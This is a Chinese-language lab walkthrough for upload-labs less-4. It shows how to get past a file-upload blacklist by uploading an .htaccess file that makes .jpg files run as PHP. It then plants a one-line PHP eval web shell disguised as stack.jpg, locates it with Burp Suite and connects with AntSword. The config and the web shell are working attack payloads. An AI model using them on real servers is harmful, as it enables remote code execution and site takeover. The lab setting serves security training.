檔案上傳之 .htaccess檔案getshell
-
- .htaccess檔案
- http.conf檔案(前提條件)
- 利用htaccess檔案getshell
-
- 源碼分析
- 建立.htaccess檔案
- 上傳.htaccess檔案
- 上傳一句話木馬
- 擷取絕對路徑
- 蟻劍getshell
.htaccess檔案
在站點的根目錄下面,不是在apache目錄下
htaccess檔案時Apache服務中的一個配置檔案,它負責相關目錄下的網頁配置。通過htaccess檔案,可以幫助我們實作:網頁301重定向、自定義404錯誤頁面,改變檔案擴充名、允許/阻止特定的使用者或者目錄的通路,禁止目錄清單,配置預設文檔等功能
其中.htaccess檔案内容:SetHandler application/xhttp-php的意思是設定目前目錄所有檔案都使用php解析,那麼無論上傳任何檔案,隻要尼爾符合php語言代碼規範,就會被當做PHP執行。不符合規則則報錯
http.conf檔案(前提條件)
在此檔案中設定 AllowOverried All ,才能使用.htaccess檔案
利用htaccess檔案getshell
實驗環境:upload-labs 的 less-4
下載下傳位址:https://github.com/c0ny1/upload-labs
如果在一個黑名單中添加了很多字尾名,唯獨沒有對htaccess過濾,可以直接上傳.htaccess來設定使用php解析任意檔案。
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
源碼分析
對php,asp,jsp等進行過濾,大小寫的方式也不行
但是可以上傳.jpg檔案,可是 .jpg隻有解析成.htaccess檔案才能getshell
是以我們還需要上傳 .htaccess 檔案
建立.htaccess檔案
在本地建立一個.htacces檔案,輸入以下内容,**然後點選另存為,将儲存類型設定為所有檔案
上傳.htaccess檔案
由于沒有對.htaccess檔案進行過濾,是以我們可以上傳.htaccess檔案
上傳一句話木馬
儲存為 stack.jpg 檔案
<?php eval($_POST['a']); ?>
擷取絕對路徑
通過burpsuite抓包的方式得到上傳的路徑:http://127.0.0.1/upload-labs-master/upload/stack.jpg
做法如下:
- 點選response to this reuqest ,再點選forword,得到響應包
2. 觀察響應包的内容
這樣就得到了絕對路徑